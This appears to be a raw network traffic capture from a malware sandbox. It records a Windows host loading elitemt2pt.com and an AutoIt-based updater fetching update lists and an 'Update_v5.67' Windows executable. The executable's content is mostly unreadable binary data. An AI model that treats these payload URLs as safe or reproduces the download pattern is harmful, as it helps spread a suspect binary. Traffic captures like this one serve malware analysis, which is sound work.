.f........y.....e...,.....vzil5.e._Z.j....:Q^[ .Y....G.|..s.o.3...........l2fc.#-(.*...F$............EF.:.b...:X..JY._.o..&)5 .N.i8q.;i..2.U...m....@.....>.k....@Gx..B...=3....X^...........(.....,...k...9.6@.. ...>...@.U..1.v.Y..W.Ua...4m...I.C..W..)i......\ ..9.(q......[.. .....>l..i..a.Z.m.D..........|d{.i..M..... ate..].-Q..p.!B..|..............D.s[.B......p..'........\.\........M.....K......N5..*.yhb.

<<< skipped >>>

GET /pt_PT/sdk.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.elitemt2pt.com/index2.php

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: connect.facebook.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Access-Control-Expose-Headers: X-FB-Content-MD5

x-fb-content-md5: 736864826f5282954678c01f4e78d48b

ETag: "8a0d5807b24937abbd0d0c786da250e2"

X-Frame-Options: DENY

timing-allow-origin: *

content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data:;style-src data: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* hXXps://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;

Cache-Control: public,max-age=1200,stale-while-revalidate=3600

X-XSS-Protection: 0

Content-Type: application/x-javascript; charset=utf-8

X-Content-Type-Options: nosniff

Strict-Transport-Security: max-age=15552000; preload

Expires: Fri, 02 Dec 2016 13:03:15 GMT

Vary: Accept-Encoding

Content-Encoding: gzip

Content-MD5: 0s8Jdh4ZubYtSx2WL6PVEA==

X-FB-Debug: QWavbFVctq j K1RXzuf6K1LL/AixU4gycQlVRI9KNFbNIYx2jR9lMjtFsZw38xPziLBAvZgkHB/ SX5yk/eWw==

Date: Fri, 02 Dec 2016 12:58:07 GMT

Connection: keep-alive

Content-Length: 59097

............y..H.(...>...X..1x..J....}..[vu..../......0....o,......]s...t.).{FFFD...S..Y......G..?....Q.'.I'...Q...Z.R?8rFI...O{.._{?.._.. .h6..{I...x.(..N.N.>...~..c.[..]o\Jz^.d$:.#.8._.q.M...5,.K.Qcoo:.V...F....s.{.O_..x.v.s..W2...S?.F...W.E.|5...eNuJW......W.4/.n..$F.`VrK.d..h.%Q2.yU..,.TM.6...H...|.:0.?>._S]...K&.0.....W...,3.,Tq.#....)...d..Il71.......A...t.*j......?g..7.l..||.......y|...6...u.^.XU...6......~.....q.M]`Q ..s..E.....S.....dJ'..8...t.R...1...........b..j...I.>V*r.x.......%.c...1..0.c..'.g8...&...\A....R[.7o.m.x.%.6..(..3.Y.e...c......`..b\J3...(.I4v...ug...J...e.....;....n....Je.$.l......|..].c..w....*o.wv.....p..M,.@.&|F`..J.-..t...T...7..V...u(.Z..4e.As.tV.!?.....?.Nv.}.WM.8)...~CW..vv...H..0..QO.p..A.k..cKO.U.E.u....S....};...P..U...Q.H..o.e....].G>T.. $U,...m.[....0C:.......I...g..3L..G.q..z..J~X.Wv..j.}.<0.X....gg../D.1t;..LO(..1.....m.@....o..j.@.......z%'.........@.......C7S.*...../BG'\...Bh.W...R..w $l|.....V.Qw.x.\.rX.`2.....;Q0...B..\U.)..K...).]OXvF.mS.&nv'....v....^5.^.{.<.-~'.z.X\{..~S...{..K^C._.J../.`.ae..APX...d........].. ....v.....E....vI...~.O..K:.n&..sZ.n.lf..mD....u/,>....2....l'..&...3xc....n.....l..i.<....S....4.<.`x.....Ww..K\..vA.,{...Io.._.MKo..h\.>P7JV....5...Jm..K...K"@.64.;....F.........$.u.....&,X.O.Z3x.7.8..1.O.^.w.\....%S3...*....49]M.~...L.9..]d......X.Y-...)).BK....!&A.V....phP.%. ....Us.N.ox.......\.4a.....P..........g.h...q...-.D%..6.w...h.\..q...5........vd.....R.....:F..;.G...fj.wY.l.=;:........wKI..N..:.S.......2#....^.)c

<<< skipped >>>

GET /snowstorm.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.elitemt2pt.com/index2.php

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.elitemt2pt.com

Connection: Keep-Alive

Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:07 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Last-Modified: Tue, 25 Nov 2014 03:00:07 GMT

ETag: W/"b5ad3-510a-508a61bc45bc0"

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-WebKit-CSP: default-src 'self'

X-Permitted-Cross-Domain-Policies: master-only

CF-Cache-Status: MISS

Expires: Fri, 02 Dec 2016 16:58:07 GMT

Cache-Control: public, max-age=14400

Server: cloudflare-nginx

CF-RAY: 30aef2d23611290e-OTP

Content-Encoding: gzip

1aa7.............<.s.6..w....o..l...6.9Q..|..M.t..5.L..LB......d......]..%9I;.....X,......c..R..6..o.......OpQ................ ad.......6..Vb!..<..T..e.@.`..TmeSKk..:.p:..K.R..F.F...dJ.......O...k...}..N......!...k.[..\../..!.{.W.F-...|...0..\[...R..lRxZ.@0...f-.&...$...V.,........x.?E\]Z.:.2C. Q ....V..]..d.S.w..".........o...M.j...d}..i..Vek._...z..._k..7...._...xQ. Q.F......y[.....k..V7#.K).W..kQ..H..8......@A..$.....u..w...u.d...c.uU......U..S..KeR.Z}aEcaF.}...,.......I..R.e..F..JX.....n...7..........J...=.H.A.(..Yn.j..p%......W<p...4.x.....Q.p%....&...Z\.....n.....e>tT.K.A.sq.3..].:d.O.R.....Q......T.($$sQ..j'`..Q.P.y}.....5......P. .....*.....A.7...Bkd7....W.A.f0.Lh.,.7K..I...J...\....l`..J.A%.i.......f0...z*..r.W...Z,..)|.P.n$..F...<.4Di`Ak..~....N|....mDm....Q[....F..sY..V8.F.m...R.R...?jk5J~..e..,.d.......q..._.[;...e[..p4o.rl.F.....|.s..7..K.9....YR(..P.5..rQ..Z..@.E......T8>.D.y.K.....5.......z`A...n...!l%RA.v.Lh............e.....>.v.w U..>D%3.j..... .fk...H..._...ogd.X..u....j..."..h.R4.5..|..U.P..l .e)..HX.,.}Q2G{..e ...R.K...]I......X......mM.t....v.a....s.......Z.F(....>...K#...u..]k..,....>g. (..6' ..-k..7...,.#. ...G..k......=.4is.6....p......v...5.:.l.|.Q..R....4.e.i...J#.BW......?...TM..Dz.k%7.Y.uv...m..E..........0.:E..:.-..}0K5..F'...Vm.F..M.\lA.y#...|..2h....B!..--....L{1B.(@.....H..Y.....1.^)............E...x..2x......(..VQwT.s.....n...m].C..ki.Zu.D..'9...s#.....RP|..h....-z00 ..V.b!qGr][.j.@.R.%..I..c[..]....kQ.. .......Q..E... ..........Y.......B..M.v.3x..

<<< skipped >>>

GET /download/filesrw_2015.txt HTTP/1.1

User-Agent: AutoIt

Host: VVV.elitemt2pt.com

Cache-Control: no-cache

Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:08 GMT

Content-Type: text/plain

Content-Length: 52

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Last-Modified: Sat, 19 Nov 2016 11:24:33 GMT

ETag: "19c439-34-541a5aab5be40"

Accept-Ranges: bytes

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-WebKit-CSP: default-src 'self'

X-Permitted-Cross-Domain-Policies: master-only

Server: cloudflare-nginx

CF-RAY: 30aef2d92199290e-OTP

Update_v5.69.exe..Update_v5.68.exe..Update_v5.67.exeHTTP/1.1 200 OK..Date: Fri, 02 Dec 2016 12:58:08 GMT..Content-Type: text/plain..Content-Length: 52..Connection: keep-alive..X-Frame-Options: SAMEORIGIN..Last-Modified: Sat, 19 Nov 2016 11:24:33 GMT..ETag: "19c439-34-541a5aab5be40"..Accept-Ranges: bytes..X-XSS-Protection: 1; mode=block..X-Content-Type-Options: nosniff..X-WebKit-CSP: default-src 'self'..X-Permitted-Cross-Domain-Policies: master-only..Server: cloudflare-nginx..CF-RAY: 30aef2d92199290e-OTP..Update_v5.69.exe..Update_v5.68.exe..Update_v5.67.exe..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= HTTP/1.1

Cache-Control: max-age = 511667

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 13 Oct 2016 04:57:34 GMT

If-None-Match: "57ff143e-1d7"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=504138

Content-Type: application/ocsp-response

Date: Fri, 02 Dec 2016 12:58:13 GMT

Etag: "58410a93-1d7"

Expires: Fri, 09 Dec 2016 00:58:13 GMT

Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT

Server: ECS (vie/F2D5)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0.......>.i...G...&....cd ...20161201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&....cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5.....].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng.......HTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=504138..Content-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:13 GMT..Etag: "58410a93-1d7"..Expires: Fri, 09 Dec 2016 00:58:13 GMT..Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT..Server: ECS (vie/F2D5)..X-Cache: HIT..Content-Length: 471..0..........0..... .....0......0...0.......>.i...G...&....cd ...20161201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&....cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5.....].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng...........

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=502070

Content-Type: application/ocsp-response

Date: Fri, 02 Dec 2016 12:58:19 GMT

Etag: "58410239-1d7"

Expires: Fri, 09 Dec 2016 00:58:19 GMT

Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT

Server: ECS (vie/F2BA)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G..HTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=502070..Content-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:19 GMT..Etag: "58410239-1d7"..Expires: Fri, 09 Dec 2016 00:58:19 GMT..Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT..Server: ECS (vie/F2BA)..X-Cache: HIT..Content-Length: 471..0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G....

<<< skipped >>>

GET /images/launcher/back19.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.elitemt2pt.com/index2.php

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.elitemt2pt.com

Connection: Keep-Alive

Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:07 GMT

Content-Type: image/jpeg

Content-Length: 78822

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Last-Modified: Fri, 18 Oct 2013 01:42:24 GMT

ETag: "288c90-133e6-4e8fa0bc88000"

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-WebKit-CSP: default-src 'self'

X-Permitted-Cross-Domain-Policies: master-only

CF-Cache-Status: MISS

Expires: Fri, 02 Dec 2016 16:58:07 GMT

Cache-Control: public, max-age=14400

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 30aef2d266302932-OTP

......JFIF.....H.H.....;Exif..II*...........................................(...........1...........2...........>...........?...................*....Q...........Q...........Q..........i.......@...l........'.......'..Adobe Photoshop CS2 Windows.2013:10:18 01:38:48.%z..............................0u......`........:......o.......Photoshop ICC profile...................................x...............................................(...............................i.......H.......H.............JFIF.....H.H......Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE..t6..U.e.....u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te......u..F...............Vfv........'7GWgw.................?..k p)..BB..i.......=..Fe..m.(...2`.?.AV[4Zu..q..5.....O*.2.[..........X...s..~.>..x..h,;.G.*6. H.C.3.'.P..|&-..a:..!........!.y..... ZX.N.)z.4m. p@%Y...._......?...........c*.8..h.Lu.Ob.vX.......sI.....F.,.nS........4..#s.......]bI[?W..2...-.!.:.M...?.._....._.....M._.JC,(....G.......kf.O......6..uV.X..k.3....F.xu....`......c........e.........t....T}wV...{.V..........q..l6>..XG ..[..V......2`..L......kp...]aikD....7........8.:O%\$....f.........]..O.F[.....a...{.Ul.F.o.~.M.........Di..R.....

<<< skipped >>>

GET /download/Update_v5.67 HTTP/1.1

User-Agent: AutoIt

Host: VVV.elitemt2pt.com

Cache-Control: no-cache

Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:08 GMT

Content-Type: text/plain

Content-Length: 8995253

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Last-Modified: Mon, 17 Oct 2016 13:54:12 GMT

ETag: "19b92e-8941b5-53f0fe9230900"

Accept-Ranges: bytes

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-WebKit-CSP: default-src 'self'

X-Permitted-Cross-Domain-Policies: master-only

Server: cloudflare-nginx

CF-RAY: 30aef2d9b2052932-OTP

MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....h.F.................@...p...............P....@.............................................. .......................................<...........................................................................................................text....@.......8.................. ..`.data....p...P.......>..............@....idata...............H..............@..@.rsrc....@.......<...X..............@..@...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon HTTP/1.1

Cache-Control: max-age = 345600

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: clients1.google.com

HTTP/1.1 404 Not Found

Date: Fri, 02 Dec 2016 12:58:54 GMT

Content-Type: text/html; charset=UTF-8

Server: ocsp_responder

Content-Length: 1668

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 404 (Not Found)!!1</title>. <style>. *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//VVV.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//VVV.google.com/image..

GET /index2.php HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.elitemt2pt.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:06 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486; expires=Sat, 02-Dec-17 12:58:06 GMT; path=/; domain=.elitemt2pt.com; HttpOnly

X-Powered-By: PHP/5.5.36

Server: cloudflare-nginx

CF-RAY: 30aef2ccc0e32908-OTP

Content-Encoding: gzip

2d8............lS...6.}^}..A..`....a...^..H6..E[.E@.#..D.........6..=.3.9gf.P......?..............s...=...........&sX:a.&m..8.|b...a..n.Kv..u5_~..Q ...0.3f.H.2....}g|......vb..(T...........*.S...6kp...7....hi...aU.Jl.4..........L..F^...%.....|........I..q..l..`..........) ....8A....#.;m...8...........o.t......8.r/......@ .b:e....K....j.d.....z....o=....Z..-JZ...Oje..e......WV........\..n....-`....z.....:>......(.3.._p..|.&.q2...U..U..........eXm../O.f.g.U....[...3.Z....Fz..GC.......1.._....BW..C...T.U..C.8...'..P..`..2h}.......x'........UB...ub..@.....u....j.wE.v..kk..Ur....j}2......D.........LQ...* 7c.3.......K...^./.(......-U.#t._:..... V....'.............'kP..-.t.f\.DC.. .....y...f..,.}=]...VoM2.....`.M..2^N...t. k........48a...X.n.6.]7_A..2.......Y. ..."'hQ..Jf2.Hb*RN<...]t.U./.b0......;..Iv]...}..^^^.Z....F.2..3....y.Zv.n....EBt~......-J.h...1...Qp,..#_s"..?.x.-s....dt .T."4YG7|1K.sm.9 j2...rz.....%.9....)...V..,q<V.X.....j.$S`.,&t.........oNh....v..._......9..........).pU..#..L...{DR......V .[.c...........~B..;.%.b.......m..=.yM2...J...O......E..<.~.d..mh.R.Zs.......5.C.Y.............}..,..Z.%C..,B..JY..E.P3.E...h.!...Ra...u,<.4i(......v...YM...v..?..d....,..n..?ad.Y,l.c..$h84.d.9..y)A.<.....@%..*..}..\O..{.......9K..a.T.m..C~.ec.{G..8...AC.Y.c...b._..Pewb...r.....k.G...*.`.,.......{b'._.h....V..2.X....PT.f.....U..N).(k.$Wx)_ K..../......K.va..d...~..._iV`.../E..poq........?.....d.>d....D.. B! ..%.w<Y.U.QK#.#Nc...ZTro..16..&.v..n....A.v..kI.[..{.nW".......,^t..o...y..(^.......x.RXm

<<< skipped >>>

GET /images/on.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.elitemt2pt.com/index2.php

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0E; .NET4.0C)

Host: VVV.elitemt2pt.com

Connection: Keep-Alive

Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:07 GMT

Content-Type: image/png

Content-Length: 626

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Last-Modified: Thu, 25 Aug 2011 22:32:44 GMT

ETag: "288c4b-272-4ab5c01e57b00"

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-WebKit-CSP: default-src 'self'

X-Permitted-Cross-Domain-Policies: master-only

CF-Cache-Status: MISS

Expires: Fri, 02 Dec 2016 16:58:07 GMT

Cache-Control: public, max-age=14400

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 30aef2d203e22908-OTP

.PNG........IHDR.............(-.S....sBIT.....O.....PLTE...................p........=...........3........f.....p.#.........................}..x..i.....e..{..Q..y..N..G..F.....*..).."~.>m."p.Um.Rj.Q..vf."V..\..^.!M..7..9. W.82.)...1.'%...........).!*.*...................EtRNS.."3DDUfw...............................................................c....pHYs...........~.....tEXtSoftware.Macromedia Fireworks 8.h.x....IDAT..5.Y..P....s%K.J..5"{......d....9O3.$WM_.....,.M.lnE.....j.k.....I..#.v"..........q\c...E.j.\.Qt.................o4<..Xr.O..v..:v.......?...R.....WW.....].w.....j.8..'....(..)(...!'..........u.....IEND.B`.HTTP/1.1 200 OK..Date: Fri, 02 Dec 2016 12:58:07 GMT..Content-Type: image/png..Content-Length: 626..Connection: keep-alive..X-Frame-Options: SAMEORIGIN..Last-Modified: Thu, 25 Aug 2011 22:32:44 GMT..ETag: "288c4b-272-4ab5c01e57b00"..X-XSS-Protection: 1; mode=block..X-Content-Type-Options: nosniff..X-WebKit-CSP: default-src 'self'..X-Permitted-Cross-Domain-Policies: master-only..CF-Cache-Status: MISS..Expires: Fri, 02 Dec 2016 16:58:07 GMT..Cache-Control: public, max-age=14400..Accept-Ranges: bytes..Server: cloudflare-nginx..CF-RAY: 30aef2d203e22908-OTP...PNG........IHDR.............(-.S....sBIT.....O.....PLTE...................p........=...........3........f.....p.#.........................}..x..i.....e..{..Q..y..N..G..F.....*..).."~.>m."p.Um.Rj.Q..vf."V..\..^.!M..7..9. W.82.)...1.'%...........).!*.*...................EtRNS.."3DDUfw.........................................................

<<< skipped >>>

GET /download/filesrd_2015.txt HTTP/1.1

User-Agent: AutoIt

Host: VVV.elitemt2pt.com

Cache-Control: no-cache

Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:08 GMT

Content-Type: text/plain

Content-Length: 38

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Last-Modified: Sat, 19 Nov 2016 11:24:32 GMT

ETag: "19c436-26-541a5aaa67c00"

Accept-Ranges: bytes

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-WebKit-CSP: default-src 'self'

X-Permitted-Cross-Domain-Policies: master-only

Server: cloudflare-nginx

CF-RAY: 30aef2d847822908-OTP

Update_v5.69.Update_v5.68.Update_v5.67HTTP/1.1 200 OK..Date: Fri, 02 Dec 2016 12:58:08 GMT..Content-Type: text/plain..Content-Length: 38..Connection: keep-alive..X-Frame-Options: SAMEORIGIN..Last-Modified: Sat, 19 Nov 2016 11:24:32 GMT..ETag: "19c436-26-541a5aaa67c00"..Accept-Ranges: bytes..X-XSS-Protection: 1; mode=block..X-Content-Type-Options: nosniff..X-WebKit-CSP: default-src 'self'..X-Permitted-Cross-Domain-Policies: master-only..Server: cloudflare-nginx..CF-RAY: 30aef2d847822908-OTP..Update_v5.69.Update_v5.68.Update_v5.67....

GET /download/Update_v5.67 HTTP/1.1

User-Agent: AutoIt

Host: VVV.elitemt2pt.com

Cache-Control: no-cache

Cookie: __cfduid=d09fe53ece3161a19d5c1f6bee1fc07ef1480683486

HTTP/1.1 200 OK

Date: Fri, 02 Dec 2016 12:58:08 GMT

Content-Type: text/plain

Content-Length: 8995253

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Last-Modified: Mon, 17 Oct 2016 13:54:12 GMT

ETag: "19b92e-8941b5-53f0fe9230900"

Accept-Ranges: bytes

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

X-WebKit-CSP: default-src 'self'

X-Permitted-Cross-Domain-Policies: master-only

Server: cloudflare-nginx

CF-RAY: 30aef2dac15e2908-OTP

MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....h.F.................@...p...............P....@.............................................. .......................................<...........................................................................................................text....@.......8.................. ..`.data....p...P.......>..............@....idata...............H..............@..@.rsrc....@.......<...X..............@..@...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8= HTTP/1.1

Cache-Control: max-age = 511667

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 13 Oct 2016 04:57:34 GMT

If-None-Match: "57ff143e-1d7"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=504138

Content-Type: application/ocsp-response

Date: Fri, 02 Dec 2016 12:58:13 GMT

Etag: "58410a93-1d7"

Expires: Fri, 09 Dec 2016 00:58:13 GMT

Last-Modified: Fri, 02 Dec 2016 05:45:55 GMT

Server: ECS (vie/F2D5)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0.......>.i...G...&....cd ...20161201220000Z0s0q0I0... ............(..A...B..G@B.X....>.i...G...&....cd ........\..m. B.]......20161201220000Z....20161208220000Z0...*.H..................^Bf~.d}.J.l.e..izz%.H'..ab.;[...<Y..b/.z]..y..a...i.....>....-....T..{..,.....p?t.1..`..z.W..S6.../\2)1.m..G.xY' 5.....].^?.........Z...I.....8.u........>.*....U........:.C....y.....Qh.w.R......Wd.K.D.....V......*.q'M...On...&.A/.b.QV....).`.ng.......nt>....

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY+sl+j4yzQuAcL2oQno5fCgQUUWj/kK8CB3U8zNllZGKiErhZcjsCEA7LCTmysQFUuJVwx7Irekc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=502070

Content-Type: application/ocsp-response

Date: Fri, 02 Dec 2016 12:58:19 GMT

Etag: "58410239-1d7"

Expires: Fri, 09 Dec 2016 00:58:19 GMT

Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT

Server: ECS (vie/F2BA)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. zG....20161202044000Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G..HTTP/1.1 200 OK..Accept-Ranges: bytes..Cache-Control: max-age=502070..Content-Type: application/ocsp-response..Date: Fri, 02 Dec 2016 12:58:19 GMT..Etag: "58410239-1d7"..Expires: Fri, 09 Dec 2016 00:58:19 GMT..Last-Modified: Fri, 02 Dec 2016 05:10:17 GMT..Server: ECS (vie/F2BA)..X-Cache: HIT..Content-Length: 471..0..........0..... .....0......0...0......Qh.....u<..edb...Yr;..20161202044000Z0s0q0I0... .........&....~...B../j..._...Qh.....u<..edb...Yr;.....9...T..p.. 